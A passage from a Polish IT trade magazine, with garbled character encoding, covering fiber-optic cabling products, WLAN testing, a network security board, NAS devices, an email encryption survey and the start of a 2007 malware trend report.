duplex, 24xLC duplex, 24x MT-RJ, 24xST, 12xSC du-
plex, 18xST, 9xSC lub 4x szeœciodro¿na p³ytka na do-
wolne adaptery. Do paneli mo¿na dokupiæ dedykowane
kasety œwiat³owodowe, zestaw pierœcieni organizacyj-
nych oraz przepusty kablowe.

Konstrukcja paneli pozwala na wysuniêcie pó³ki monta-
¿owej oraz na jej pochylenie pod k¹tem 45 stopni. Za-
pewnia to swobodny dostêp do zainstalowanych w pa-
nelu kaset œwiat³owodowych, pigtaili oraz adapterów.

Z³¹cze MT-RJ Xpress-Lock

Z³¹cze MT-RJ dziêki swej prze³omowej konstrukcji staje

siê coraz bardziej popularnym rodzajem interfejsu sto-

sowanego przez producentów urz¹dzeñ aktywnych

oraz producentów okablowania strukturalnego. Firma

Molex Premise Networks opracowa³a w³asn¹ technolo-

giê terminowania w³ókien œwiat³owodowych z³¹czami

MT-RJ. Technologia ta jest niezwykle prosta i polega

na odpowiednim oczyszczeniu w³ókna, jego przyciêciu,

wprowadzeniu do ferruli i zamkniêciu komory za po-

moc¹ specjalnego kluczyka dostarczanego w komple-

cie wraz ze z³¹czami. Z³¹cze w ten sposób mo¿e byæ

terminowane na kablu do 10 razy. Dostêpne s¹ dwie

wersje z³¹cza: mêska (ferrula z pinami) i ¿eñska (bez

pinów). Mo¿na je stosowaæ do w³ókien o œrednicy

50/125 mm oraz 62,5/125 mm. Maksymalne t³umie-

nie to 0,5 dB, t³umienie typowe waha siê na poziomie

0,3 dB. Dodatkowo oferta Molex Premise Networks za-

telekomunikacja
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DATA GATE PLUS

Panel FMP3 z wysuniêt¹ pó³k¹ monta¿ow¹

Widok z³¹cza MT-RJ Xpress-Lock

wraz z kluczykiem, os³on¹ oraz bootem



wiera szerok¹ gamê adapterów MT-RJ przeznaczo-
nych do monta¿u w panelach i gniazdach naœciennych.
Podsumowuj¹c, niew¹tpliwymi zaletami technologii
MT-RJ s¹:

l konstrukcja duplex (dwa w³ókna w jednym z³¹czu);

l ma³e wymiary zewnêtrzne;

l kszta³t i zasada ³¹czenia zbli¿one do spopulary-
zowanego wtyku RJ-45;

l prosty i tani sposób instalacji;

l mo¿liwoœæ kilkakrotnego zarabiania z³¹cza na w³ók-
nie;

l zdeterminowana polaryzacja w³ókien.

Laserstream

Molex Premise Networks ma przyjemnoœæ zaprezento-
waæ nowy system okablowania œwiat³owodowego, La-
serstream, instalowany metod¹ wdmuchiwania. Pod-
stawow¹ zalet¹ systemu jest jego wysoka elastycz-
noœæ, polegaj¹ca na mo¿liwoœci ³atwego wprowadzania
zmian w miarê rozwoju wymagañ stawianych okablo-
waniu.

Laserstream jest rozwi¹zaniem dedykowanym w insta-
lacjach, gdzie wymagania projektowe nie s¹ precyzyj-
nie okreœlone. System ten eliminuje koniecznoœæ do-
k³adnego okreœlenia liczby i rodzaju w³ókien œwiat³o-
wo dowych na etapie projektowania. Pozwala ponadto
na eliminacjê niewykorzystywanych (zapasowych)
w³ó-kien, poniewa¿ dodatkowe w³ókna mog¹ byæ w do-
wolnej chwili doinstalowane.

System Laserstream jest w pe³ni zgodny z pozosta³ymi
elementami œwiat³owodowymi Molex Premise Ne-
tworks. Podobnie jak ca³y system okablowania struktu-
ralnego, mo¿e byæ objêty 25-letni¹ gwarancj¹ syste-
mow¹.

CompactLan

Linia produktów CompactLan jest dedykowana do bu-
dowy sieci zawieraj¹cych od kilku do kilkudziesiêciu
u¿ytkowników. G³ówna cecha, która odró¿nia tê gamê
produktów, to niewielkie wymiary komponentów, dziêki
czemu punkt dystrybucyjny w postaci szafki wisz¹cej
mo¿na ulokowaæ w dowolnym miejscu. Szafka dystry-
bucyjna ma wysokoœæ 8U, umo¿liwia monta¿ do oœmiu
dedykowanych elementów o szerokoœci 10 cali. Jako
elementy wyposa¿enia firma Molex Premise Net- works
proponuje 12-portowe panele krosowe kategorii 5e
w wersji UTP oraz FTP, 8-portowy panel telefoniczny
oraz panel œwiat³owodowy z oœmioma adapterami ST.
Wyposa¿enie dodatkowe zawiera: panel ze szczotk¹,
panel z wieszakami, panel os³onowy, pó³ki monta¿owe

oraz panel monta¿owy. Wszystkie elementy wyposa¿e-
nia maj¹ wysokoœæ 1U i s¹ wykonane w kolorze cie-
mnoniebieskim, takim samym jak kolor samej szafki
dystrybucyjnej. Dziêki zastosowaniu specjalnego syste-
mu monta¿owego, który nie wymaga stosowania œrub
i nakrêtek, monta¿ i demonta¿ urz¹dzeñ jest bardzo
prosty i przyjazny dla u¿ytkownika. Kable poziome mo-
¿na do szafki wprowadziæ poprzez przepust górny,
przepust dolny lub od ty³u szafki. Szafka posiada sy-
stem uziemiaj¹cy oraz otwory wentylacyjne, co umo¿-
liwia umieszczanie w niej urz¹dzeñ aktywnych.

System ModLink

– szybkie instalacje œwiat³owodowe

Instalacja œwiat³owodowa z u¿yciem systemu Molex
Premise Networks ModLink jest szybka i prosta. Nie
trzeba instalowaæ z³¹czek œwiat³owodowych, zbêdne s¹
specjalistyczne narzêdzia. Kable ModLink to kable ta-
œmowe 6- lub 12-w³óknowe, fabrycznie zakoñczone
z obu stron z³¹czkami MTP. Dodatkowo ka¿da z³¹czka
zabezpieczona jest zestawem do wci¹gania kabli
œwiat³owodowych (Pulling Eye) umo¿liwiaj¹cym wy-
godn¹ i szybk¹ instalacjê. Kaseta Molex Premise Net-
works ModLink s³u¿y do przejœcia ze z³¹cza MTP na
standardowe z³¹cza ST lub SC. Kasety s¹ w wersjach
6- i 12-portowych w standardzie 19" lub do instalacji
naœciennych. Odpowiednie uchwyty monta¿owe nale¿y
zamawiaæ osobno. Wszystkie elementy systemu Mod-
Link s¹ testowane fabrycznie i nie jest wymagane te-
stowanie systemu po instalacji.

Przy wykorzystaniu systemu Molex Premise Net-works
ModLink wykonanie instalacji typu Fiber to the Desk
staje siê du¿o prostsze. Kable ModLink doskonale na-
daj¹ siê do pod³¹czenia punktu poœredniego do Piêtro-
wego Punktu Dystrybucyjnego (HDF) lub bezpoœrednio
do G³ównego Punktu Dystrybucyjnego (MDF) (w Scen-
tralizowanym Systemie Œwiat³owodowym wg Biuletynu
EIA/TIA TSB-72).

Po zmianie aran¿acji biura system zmienia siê wraz
z rozk³adem pomieszczeñ. Kasetê ModLink instaluje
siê w nowym miejscu, a kabel od³¹cza siê i pod³¹cza
w nowej lokalizacji. System Molex Premise Networks
ModLink mo¿na wykorzystaæ do zbudowania okablowa-
nia pionowego od Piêtrowego Punktu Dystrybucyj-nego
do G³ównego Punktu Dystrybucyjnego. Ma³e rozmiary
kabli ModLink pozwalaj¹ na instalowanie ich w bardzo
ma³ych lub wype³nionych kana³ach instalacyjnych. Z sy-
stemem ModLink wykonanie ca³ego ³¹cza trwa tyle, ile
po³o¿enie samego kabla w systemie tradycyjnym. n

Autor jest kierownikiem wsparcia technicznego

Molex Premise Networks
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Widok z³¹cza MT-RJ Xpress-Lock

wraz z kluczykiem, os³on¹ oraz bootem

Produkty serii CompaktLan



Mo¿liwoœæ aktywnego obliczania przepustowoœci
na podstawie danych w standardzie 802.11 po-
zwala zagwarantowaæ wydajnoœæ klienta w sieci
WLAN. AirMagnet Inc. jest jedynym producen-
tem, który oferuje tego rodzaju aktywne testowa-
nie z poziomu laptopa u¿ytkownika, umo¿liwiaj¹c
dok³adne raportowanie wydajnoœci klienta w cza-
sie rzeczywistym.

Opracowana przez firmê AirMagnet i opatento-
wana w Stanach Zjednoczonych technologia Wi-

reless LAN Performance Measurement umo¿li-
wia przeprowadzanie testu przepustowoœci na
podstawie przes³anej przez klienta do punktu do-
stêpowego pewnej liczby ramek danych.

System AirMagnet sprawdza wówczas potwier-
dzenia odebrane z punktu dostêpowego (AP)
w celu oszacowania wydajnoœci. Dziêki temu
mo¿na uzyskaæ rzeczywiste dane na temat prze-
pustowoœci miêdzy klientem a punktem dostêpo-
wym.

AirMagnet dla WLAN

Technologia testowania przepustowoœci AirMag-
net Wireless LAN Performance Measurement

znajduje zastosowanie w dostêpnych na rynku
narzêdziach do projektowania, wdra¿ania, zabez-
pieczania i zarz¹dzania sieciami WLAN – rów-
nie¿ w trudnych i zmiennych warunkach.

Innowacyjne produkty oferowane przez firmê
obejmuj¹: AirMagnet Enterprise – rozwi¹zanie do
zarz¹dzania wydajnoœci¹ i bezpieczeñstwem sie-
ci bezprzewodowych, narzêdzia do rozwi¹zywa-
nia problemów i analizy sieci WLAN, do badania
i projektowania lokalizacji WLAN, wykrywania in-
terferencji radiowej, zdalnej diagnostyki oraz pio-
nierskiej analizy przesy³u g³osu w sieciach WiFi.

Wszystkie te rozwi¹zania dostêpne s¹ u wy³¹czne-
go przedstawiciela firmy AirMagnet Inc. w Polsce
– firmie Passus sp. z o.o. n
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Firma AirMagnet opracowa³a now¹ technologiê

Wireless LAN Performance Measurement, która s³u¿y

do testowania i pomiarów przepustowoœci miêdzy

klientem bezprzewodowym a punktem dostêpowym

(AP) w sieci WLAN. Jest to technologia, która pozwala

aktywnie testowaæ sieæ bezprzewodow¹ z perspektywy

u¿ytkownika, dostarczaj¹c krytycznych informacji na temat

wydajnoœci.

Przepustowoœæ sieci WLAN

AirMagnet
z now¹ technik¹

AirMagnet: aktywne testowanie sieci

i dok³adne raportowanie wydajnoœci



VIA NAB 7500 zaspokaja potrzeby nowoczesnych
sieciowych zabezpieczeñ infrastrukturalnych. Jest
to wysoce zintegrowana platforma typu NAB (Ne-
twork Appliance Board) dla elementów infrastruktury
sieciowej, w tym zabezpieczeñ takich jak zapory,
VPN, UTM i systemy zapobiegania w³amaniom do
sieci (IPS). Inne mo¿liwe zastosowania platformy to
serwery proxy oraz produkty zapewniaj¹ce QoS i
równowa¿enie przep³ywu w sieci.

Aby sprostaæ wymaganiom w zakresie wydajnoœci,
niezawodnoœci i bezpieczeñstwa sieci, VIA NAB
7500 zosta³a wyposa¿ona w piêæ portów Gigabit
Ethernet (4 poprzez PCI Express) z obs³ug¹ funk-
cji LAN Bypass, interfejs WLAN USB, cztery porty
S-ATA do rejestrowania danych lub podpisów, porty
szeregowe do przekierowania na konsolê oraz funk-
cjê zasilana LCM, a tak¿e szereg innych w³aœciwo-
œci zwiêkszaj¹cych niezawodnoœæ i bezpieczeñ-
stwo, takich jak modu³ TPM umo¿liwiaj¹cy sprzê-
tow¹ ochronê danych. Sercem systemu jest ener-
gooszczêdny i niewydzielaj¹cy du¿ych iloœci ciep³a
procesor VIA C7.

– VIA z dum¹ wprowadza na rynek produkt prze-

znaczony dla integratorów systemów sieciowych –
powiedzia³ Daniel Wu – zastêpca wiceprezesa pio-
nu platform zintegrowanych w firmie VIA Technolo-
gies, Inc.

– NAB 7500, jako produkt zaprojektowany specjal-

nie dla tego sektora rynku, oferuje doskona³¹ wydaj-

noœæ sieci bez kompromisów w zakresie ener-goosz-

czêdnoœci i bezpieczeñstwa.

P³yta VIA NAB 7500

P³yta VIA NAB 7500 wykorzystuje energooszczêdny
procesor VIA C7 1,5 GHz (procesory o innej czê-
stotliwoœci s¹ dostêpne dla kontrahentów projekto-
wych) i wszechstronny chipset VIA CN896. Obs³u-
guje do 3,5 GB pamiêci DDR2, zawiera cztery porty
Gigabit Ethernet na szybkiej magistrali PCI-E i do-
datkowy port Gigabit LAN na magistrali PCI. VIA
NAB 7500 ma równie¿ sieciowe obejœcie (LAN By-
pass) dodatkowo zabezpieczaj¹ce przed skutkami
zawieszenia systemu i awarii zasilania. Kontrola
nad urz¹dzeniem jest mo¿liwa poprzez oprogramo-
wanie Watch Dog Timer, GPIO lub oprogramowanie
na zamówienie.

Rozbudowê systemu zapewnia modu³ Golden Fin-
ger, umo¿liwiaj¹cy rozszerzenie konfiguracji na wie-
le p³yt lub dodanie do trzech kart PCI. System prze-
chowywania danych oparty jest na czterech portach
S-ATA z obs³ug¹ RAID 0 i RAID 1, a tak¿e 44-pino-
wym z³¹czu IDE/Compact Flash.

Opcjonalnie dostêpny jest uk³ad TPM zwiêkszaj¹cy
poziom bezpieczeñstwa, port COM, 8 portów PGIO,
z³¹cza dla portów PS/2 i VGA, diody panelowe dla
funkcji LAN i LAN Bypass i do szeœciu portów USB
2.0.

Bezpieczeñstwo systemu mo¿na zwiêkszyæ urucha-
miaj¹c VIA PadLock™ Security Engine – sprzêtowy
system zapewniaj¹cy szyfrowanie i ochronê na po-
ziome wojskowym dziêki najszybszemu w œwiecie
silnikowi szyfruj¹cemu w klasie x86. VIA StrongBox
to aplikacja wspó³pracuj¹ca z VIA PadLock Security
Engine, umo¿liwiaj¹ca stworzenie do 10 szyfrowa-
nych dysków wirtualnych. n
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Firma VIA Technologies, Inc. poinformowa³a o wprowadzeniu do oferty zintegrowanej

platformy VIA NAB 7500 do zaawansowanych zabezpieczeñ sieciowych.

Korzystaj¹c z doœwiadczeñ w projektowaniu energooszczêdnych, wyspecjalizowanych

platform, VIA prezentuje nowy produkt dla sektora urz¹dzeñ infrastruktury sieciowej.

Specjalistyczna, zintegrowana platforma dla urz¹dzeñ
UTM, VPN i zapór sieciowych

VIA NAB 7500



ReadyNAS Duo 500GB Gigabit Desktop Network
Storage (RND2150), ReadyNAS Duo 750GB Gi-
gabit Desktop Network Storage (RND2175) i Re-
adyNAS Duo 1TB Gigabit Desktop Network Sto-
rage (RND2110) to pierwsze produkty z wielokro-
tnie nagradzanej rodziny sieciowych serwerów
danych ReadyNAS zaprojektowane z myœl¹ o
przechowywaniu danych w domowych sieciach
komputerowych. Seria ReadyNAS Duo dostarcza
konsumentom opatentowane technologie serwe-
rowe znane z przemys³owej serii ReadyNAS NV+
i zapewnia bezpieczeñstwo danych, skalowanie i
³atwoœæ obs³ugi.

ReadyNAS Duo obs³uguje do dwóch dysków
twardych SATA i pracuje pod kontrol¹ wydajnego
oprogramowania wbudowanego, które umo¿liwia
centralne i bezpieczne przechowywanie i u¿ytko-
wanie mediów cyfrowych w domowej sieci. Po
pod³¹czeniu dowolnego aparatu cyfrowego ze
z³¹czem USB do portu USB na przednim panelu
serwer ReadyNAS Duo szybko kopiuje zdjêcia
i udostêpnia je komputerom, PDA i innym urz¹-
dzeniom sieciowym w domu lub w internecie.

Oprócz przechowywania cyfrowych plików audio
i wideo stworzonych przez u¿ytkownika, Ready-
NAS Duo obs³uguje równie¿ protokó³ BitTor-
rent™, umo¿liwiaj¹cy œci¹ganie cyfrowej rozrywki
bezpoœrednio do serwera ReadyNAS Duo i stru-
mieniowe przesy³anie treœci audiowizualnych za
poœrednictwem adaptera (na przyk³ad NETGEAR
Digital Entertainer HD) do zestawu kina domowe-
go, bez potrzeby w³¹czania jakiegokolwiek kom-
putera PC w domowej sieci.

ReadyNAS Duo mo¿e byæ opcjonalnie wyposa-
¿ony w drugi dysk twardy, na którym automatycz-
nie wykonywane bêd¹ kopie wszystkich danych
cyfrowych dla ochrony przed utrat¹ na wypadek
awarii jednego z dysków. System ci¹g³ej ochrony
danych CDP dodatkowo wzmacnia ochronê da-
nych u¿ytkownika poprzez monitorowanie zmian
w danych i automatyczne ich uaktualnianie.

ReadyNAS Duo jest ³atwy do zainstalowania
i obs³ugi – do³¹czony program instalacyjny umo¿-
liwia szybk¹ konfiguracjê urz¹dzenia w ka¿-

dej sieci domowej. Urz¹dzenie samo pobiera
uaktualnienia oprogramowania steruj¹cego, a ca³e
zarz¹dzanie odbywa siê za poœrednictwem grafi-
cznego interfejsu w przegl¹darce internetowej.
ReadyNAS Duo okresowo sprawdza integralnoœæ
danych i bezpiecznie w³¹cza siê w przypadku
jakichkolwiek nieprawid³owoœci. Dostêp do da-
nych w urz¹dzeniu mo¿e byæ chroniony has³em.

Serwer ReadyNAS Duo wspó³pracuje zarówno
z komputerami z systemami operacyjnymi Win-
dows Vista, jak i Macintosh, wykorzystuje spec-
jalne technologie Apple, takie jak Bonjour i AFK,
jak równie¿ system desktop widget, u³atwiaj¹cy
monitorowanie i dostêp do ReadyNAS. Serwery
Duo zosta³y zaprojektowane z myœl¹ o grafikach
i fotografikach preferuj¹cych platformê Macin-
tosh. Plik zapisany w serwerze ReadyNAS mo¿e
byæ z ³atwoœci¹ przenoszony i wspó³dzielony
przez komputery z systemami Windows i Macin-
tosh.

– Wraz z szybkim rozwojem i rozpowszechnie-

niem urz¹dzeñ konsumenckich tworz¹cych i wy-

korzystuj¹cych ogromn¹ ró¿norodnoœæ mediów

cyfrowych konsumenci poszukuj¹ nie tylko coraz

wiêkszej pojemnoœci i lepszych zabezpieczeñ dla

cennych danych, lecz tak¿e rozwi¹zañ, które po-

zwalaj¹ wspó³dzieliæ dane ze znajomymi czy ro-

dzin¹ zarówno w sieci domowej, jak i przez inter-

net – powiedzia³ Wojciech Karwowski, country
manager NETGEAR Poland. – Sukces prze-

mys³owych systemów ReadyNAS NV+ stworzy³

popyt wœród u¿ytkowników instytucjonalnych na

tañsze, lecz w pe³ni wyposa¿one urz¹dzenia

tego typu, przeznaczone do u¿ytku domowego.

Serwery ReadyNAS Duo posiadaj¹ wszystkie

najwa¿niejsze zalety urz¹dzeñ klasy przemy-

s³owej i ³¹cz¹ ³atwoœæ obs³ugi ze sprzêtowym
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Firma NETGEAR Inc. zaprezentowa³a sieciowe serwery danych.

Urz¹dzenia umo¿liwiaj¹ centralizacjê, organizacjê i wspó³dzielenie

wszelkich cyfrowych mediów w sieci domowej.

Inteligentny system przechowywania danych

Media cyfrowe
w domowej sieci
i internecie



wsparciem dla wielu systemów operacyjnych,

niezawodn¹ ochron¹ i przemys³ow¹ wydajnoœci¹.

To idealne, niedrogie, inteligentne sieciowe ser-

wery danych dla zaawansowanych konsumen-

tów.

Rodzina produktów ReadyNAS obejmuje:

l RND2150 ReadyNAS Duo 500GB Gigabit
Desktop Network Storage (jeden dysk twardy
SATA 500GB);

l RND2175 ReadyNAS Duo 750GB Gigabit
Desktop Network Storage (jeden dysk twardy
SATA 750GB);

l RND2110 ReadyNAS Duo 1TB Gigabit Desk-
top Network Storage (jeden dysk twardy SATA
1TB SATA);

l RND4000 ReadyNAS NV+ 4-Bay Gigabit
Desktop Network Storage (bez dysków twar-
dych);

l RND4250 ReadyNAS NV+ 1TB Gigabit Desk-
top Network Storage (dwa dyski twarde SATA
500GB);

l RND4425 ReadyNAS NV+ 1TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 250GB);

l RND4275 ReadyNAS NV+ 1.5TB Gigabit
Desktop Network Storage (dwa dyski twarde
SATA 750GB);

l RND4450 ReadyNAS NV+ 2TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 500GB);

l RND4210 ReadyNAS NV+ 2TB Gigabit Desk-
top Network Storage (dwa dyski twarde SATA
1TB SATA);

l RND4475 ReadyNAS NV+ 3TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 750GB SATA);

l RND4410 ReadyNAS NV+ 4TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 1TB SATA);

l RNR4450 ReadyNAS 1100 2TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 500GB);

l RNR4475 ReadyNAS 1100 3TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 750GB):

l RNR4410 ReadyNAS 1100 4TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 1TB).

NETGEAR ReadyNAS

Duo 2-Bay Gigabit Desktop

Network Storage Solutions

NETGEAR ReadyNAS™ Duo 2-Bay Gigabit
Desktop Network Storage to inteligentne ser-
wery sieciowe ³¹cz¹ce niezawodne funkcje ser-
werowe, obs³ugê wielu systemów operacyjnych
oraz funkcje nadmiarowej ochrony danych.
Urz¹dzenia s¹ ³atwe w instalacji i obs³udze przez
przegl¹darkê.

ReadyNAS Duo posiadaj¹ wbudowany gigabito-
wy interfejs Ethernet umo¿liwiaj¹cy szybki prze-
sy³ danych.

Kompaktowe serwery umo¿liwiaj¹ centralne
przechowywanie muzyki, zdjêæ, danych i filmów,
u³atwiaj¹c transfer i wspó³dzielenie danych cyfro-
wych w sieci. ReadyNAS Duo wspó³pracuj¹ bez
oprogramowania klienckiego z systemami Win-
dows, Macintosh i Linux/Unix, obs³uguj¹ te¿ pro-
toko³y FTP i HTTP, co u³atwia integracjê w ka¿-
dym œrodowisku sieciowym.

ReadyNAS Duo obs³uguje wszystkie popularne
protoko³y strumieniowego przesy³u danych, w tym
UPnP AV, iTunes i Logitech Squeezecenter, co
umo¿liwia strumieniowe przesy³anie plików audio
i wideo bezpoœrednio do domowego centrum roz-
rywki bez poœrednictwa uruchamiania oddzielne-
go komputera w sieci.

NETGEAR ReadyNAS Duo wyposa¿ono w za-
awansowane technologie serwerowe, w tym
sprzêtowo przyspieszan¹ macierz X-RAID™, za-
pewniaj¹c¹ pe³n¹ nadmiarowoœæ danych z pe³n¹
ochron¹ przed awari¹ sprzêtow¹, mo¿liwoœci¹
wymiany twardych dysków bez przerywania pra-
cy urz¹dzenia, wbudowanym mened¿erem kopii
zapasowych, systemem monitorowania i auto-
matycznego powiadamiania.

Ponadto ReadyNAS Duo obs³uguje dostêp do
multimediów w trybie UpnP i w roli serwera iTu-
nes, zdalny dostêp HTTP/S, transfery FTP/S,
zabezpieczenia SSL i ACL oraz obs³ugê wielu
portów USB.

ReadyNAS Duo, który obs³uguje do dwóch dys-
ków twardych SATA, daje u¿ytkownikom do
dwóch terabajtów (2000 GB) pojemnoœci, co do-
skonale zaspokaja stale rosn¹ce zapotrzebo-
wanie konsumentów intensywnie korzystaj¹cych
z sieci.

ReadyNAS Duo umo¿liwia rozbudowê pojemno-
œci w trybie PnP i u³atwia migracjê do prze-
mys³owych systemów ReadyNAS NV+ Gigabit
Desktop Network Storage. Produkty ReadyNAS
wykorzystuj¹ opatentowan¹ technologiê X-RA-
ID™, która automatyzuje proces powielania da-
nych w systemie nadmiarowym, co zapewnia naj-
wy¿szy poziom ochrony cennych danych cyfro-
wych.

NETGEAR ReadyNAS Duo dostarczany jest
z oprogramowaniem NTI Shadow Backup Soft-
ware umo¿liwiaj¹cym automatyzacjê wykony-
wania kopii zapasowych danych z komputerów
w sieci. Urz¹dzenia z trzyletni¹ gwarancj¹ sprzê-
tow¹ bêd¹ dostêpne w drugim kwartale 2008
roku u wiod¹cych detalistów, sprzedawców bez-
poœrednich, w sklepach internetowych i u sprze-
dawców VAR w cenie oko³o 500 USD + VAT
(z 500 GB dyskiem twardym). n

Zród³o: INVENTIVE Communication
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Wed³ug organizacji Privacy Rights Clearinghouse
zajmuj¹cej siê problemami kradzie¿y to¿samoœci,
od stycznia 2005 r. do czerwca 2007 r. zagro¿o-
nych by³o ponad 155 milionów rekordów praw
osobowych obywateli w USA. Ryzyko wycieku
poufnych informacji jest jeszcze wy¿sze w Euro-
pie i Azji. Zagro¿enia te s¹ wynikiem rosn¹cej
liczby w³amañ do sieci, kradzie¿y lub zgubienia
laptopów i innych urz¹dzeñ mobilnych.

Ponemon Institute ujawni³, ¿e w 2006 roku koszt
naruszenia poufnoœci danych wynosi³ œrednio
182 USD za ka¿dy rekord i wzrós³ o 31 proc.
w porównaniu z rokiem 2005. Konsekwencj¹ na-
ruszenia poufnoœci danych s¹ nie tylko problemy
finansowe firm, ale i utrata reputacji.

Jednym ze sposobów zapobiegania wyciekom
poufnych informacji jest szyfrowanie danych i po-
czty elektronicznej. Z badania przeprowadzone-
go przez Osterman Research wynika, ¿e g³ówny-
mi przyczynami wprowadzenia w firmie systemu

szyfrowania poczty elektronicznej s¹ zgodnoœæ
z regulacjami prawnymi i wymaganiami obowi¹-
zuj¹cymi w bran¿y oraz ochrona w³asnoœci inte-
lektualnej i reputacji marki.

Dzia³ami w firmie, które najczêœciej korzystaj¹
z systemu szyfrowania danych, s¹ dzia³ praw-
ny, zarz¹d, a tak¿e departamenty zajmuj¹ce
siê wynagrodzeniami i kwestiami finansowymi.
Wed³ug respondentów Osterman Research, sy-
stem taki jest najmniej potrzebny w dzia³ach
marketingu, sprzeda¿y i obs³ugi klientów.

Z badañ Osterman Research wynika, ¿e firmy
najczêœciej instaluj¹ system szyfrowania poczty
elektronicznej na serwerze pocztowym lub bez-
poœrednio na komputerach stacjonarnych, cho-
cia¿ proces ten powinien byæ przeprowadzony
te¿ na poziomie urz¹dzeñ przenoœnych.

Osterman Research ujawnia te¿, jakie zasoby
(aplikacje, pliki, systemy, procesy) firmy najczê-
œciej szyfruj¹ i jakie s¹ ich plany w tym zakresie
na rok 2008. Z badañ Osterman Research wyni-
ka, ¿e przedsiêbiorstwa zamierzaj¹ wprowadziæ
dodatkow¹ ochronê w postaci szyfrowania da-
nych m.in. dla urz¹dzeñ mobilnych i przenoœnych
pamiêci masowych, takich jak pen drive. To
odpowiedŸ na rosn¹c¹ liczbê wiadomoœci elek-
tronicznych wysy³anych za poœrednictwem bez-
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Poczta elektroniczna sta³a siê g³ównym medium w komunikacji

biznesowej – jest wa¿niejsza od telefonu, faksu i tradycyjnej

poczty. 75 proc. informacji (takich, jak zaproszenia na spotkanie,

dokumenty, zlecanie zadañ) jest przekazywanych za poœrednictwem

e-maili. Codziennie ka¿dy pracownik wysy³a i otrzymuje œrednio

140 wiadomoœci elektronicznych.

Osterman Research: ochrona przed wyciekiem poufnych informacji z firmy

Szyfrujmy dane

Tabela 1

Przyczyna stosowania systemu szyfrowania

poczty elektronicznej

Proc. firm deklaruj¹cych wprowadzenie systemu

szyfrowania poczty elektronicznej z tego powodu

Zgodnoœæ z rz¹dowymi regulacjami prawnymi 63 proc.

Ochrona w³asnoœci intelektualnej 61 proc.

Zgodnoœæ ze standardami lub wymaganiami
obowi¹zuj¹cymi w bran¿y

43 proc.

Ochrona marki firmy 41 proc.

Tabela 2

Dzia³y firm najczêœciej korzystaj¹ce

z systemu szyfrowania poczty elektronicznej

Po³owa

2007 roku

Pocz¹tek

2008 roku

Dzia³ prawny 25 proc. 53 proc.

Zarz¹d 21 proc. 50 proc.

Dzia³ wynagrodzeñ 21 proc. 47 proc.

Dzia³ IT 20 proc. 39 proc.

Dzia³ finansów 19 proc. 43 proc.

Dzia³ rozwoju i inwestycji 13 proc. 33 proc.

Dzia³ operacyjny 13 proc. 29 proc.

Dzia³ sprzeda¿y 12 proc. 28 proc.

Dzia³ obs³ugi klienta 12 proc. 27 proc.

Dzia³ marketingu 11 proc. 27 proc.

Dzia³ badañ i rozwoju 10 proc. 29 proc.



przewodowych urz¹dzeñ przenoœnych. W 2007
roku 12,6 proc. u¿ytkowników wykorzystywa³o
urz¹dzenia mobilne do wysy³ania s³u¿bowych
e-maili. W 2008 roku liczba ta wzroœnie do 20,3

proc., aby osi¹gn¹æ poziom 29,4 proc. w 2009
roku. n

Zród³o: VERACOMP
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Tabela 3

Urz¹dzenia komputerowe, na których przeprowadzane jest szyfrowanie e-maili

Bramka internetowa 62 proc.

Komputer stacjonarny 59 proc.

Laptop 37 proc.

Bezprzewodowe urz¹dzenie przenoœne 18 proc.

Tabela 4

Szyfrowane zasoby, aplikacje, systemy, procesy
Po³owa

2007 roku

Pocz¹tek

2008 roku

Pliki 52 proc. 53 proc.

Zasoby FTP 48 proc. 31 proc.

Taœmy do wykonywania kopii zapasowych 41 proc. 29 proc.

Serwery plików 38 proc. 43 proc.

Zawartoœæ dysków twardych komputerów stacjonarnych i laptopów 33 proc. 49 proc.

Przenoœne pamiêci masowe 33 proc. 49 proc.

Bazy danych 31 proc. 35 proc.

Urz¹dzenia mobilne 25 proc. 33 proc.

Pliki mainframe 11 proc. 23 proc.





Na osobie, która pamiêta globalne epidemie wy-
wo³ane przez robaki Mydoom i Lovesan, nieustaj¹cy
strumieñ niemal identycznych trojanów zalewaj¹-
cych internet raczej nie zrobi du¿ego znaczenia. Na
pierwszy rzut oka wygl¹da na to, ¿e szkodliwi u¿yt-
kownicy cierpi¹ na brak ambicji zarówno je¿eli cho-
dzi o skalê, jak i innowacjê. Istnieje jednak proste
wyjaœnienie: cyberprzestêpczoœæ staje siê bizne-
sem, dlatego obecnie cyberprzestêpcy próbuj¹ uni-
kaæ „radarów”. Epidemie wirusowe prowadz¹ do
œledztw wszczynanych przez organy œcigania. Ci po
drugiej stronie barykady dzia³aj¹ teraz zgodnie
z has³em, ¿e najwa¿niejsza jest dyskrecja, zacho-
wuj¹c siê tak cicho i nienachalnie, jak to mo¿liwe.
W takim klimacie znacz¹ce innowacje techniczne s¹
rzadkoœci¹. Ugrupowania przestêpcze preferuj¹ te-
raz wypróbowane techniki i struktury. O ich dzia-
³aniach dowiadujemy siê zazwyczaj wtedy, gdy staj¹
siê nieostro¿ni. W tym wypadku pewn¹ rolê odgry-
waj¹ chciwoœæ oraz niezbyt wielkie umiejêtnoœci
techniczne.

Za co zapamiêtamy trzeci kwarta³ 2007 roku? Za
liczne incydenty zwi¹zane z kradzie¿¹ danych u¿yt-
kownika. Za najnowszego trojana szanta¿ystê. Ma-
sow¹ histeriê zwi¹zan¹ z rosyjsk¹ firm¹ Russian
Business Network, nazywan¹ przez zwyk³ych u¿yt-
kowników ‘Resident Evil’ œwiata cybernetycznego.

Na tym tle informacja o wzrastaj¹cej liczbie botne-
tów zwi¹zanych z Zhelatinem (Storm Worm) pozo-
sta³a prawie niezauwa¿ona. Przeoczono nawet in-
formacjê o tym, ¿e botnet robaka Storm sk³ada siê
z ponad 2 milionów maszyn.

Rzeczywista „linia frontu” zosta³a przesuniêta na
ca³kowicie inny poziom – jednak media nic nie
wspomina³y o tym.

W trzecim kwartale 2007 roku wiele uwagi poœwiêci-
liœmy wydarzeniom, o których donosi³y media. Ba-
danie jednego incydentu doprowadzi³o nas do in-
nych incydentów, które dopiero zaczyna³y siê wy-
³aniaæ; obserwatorowi z zewn¹trz wydarzenia te
mog³y wydawaæ siê pozbawione zwi¹zku.

Najnowszy raport kwartalny nie jest standardowy.
Opiera siê na danych pochodz¹cych z jednego po-
wa¿nego dochodzenia i nie tylko obejmuje istotne
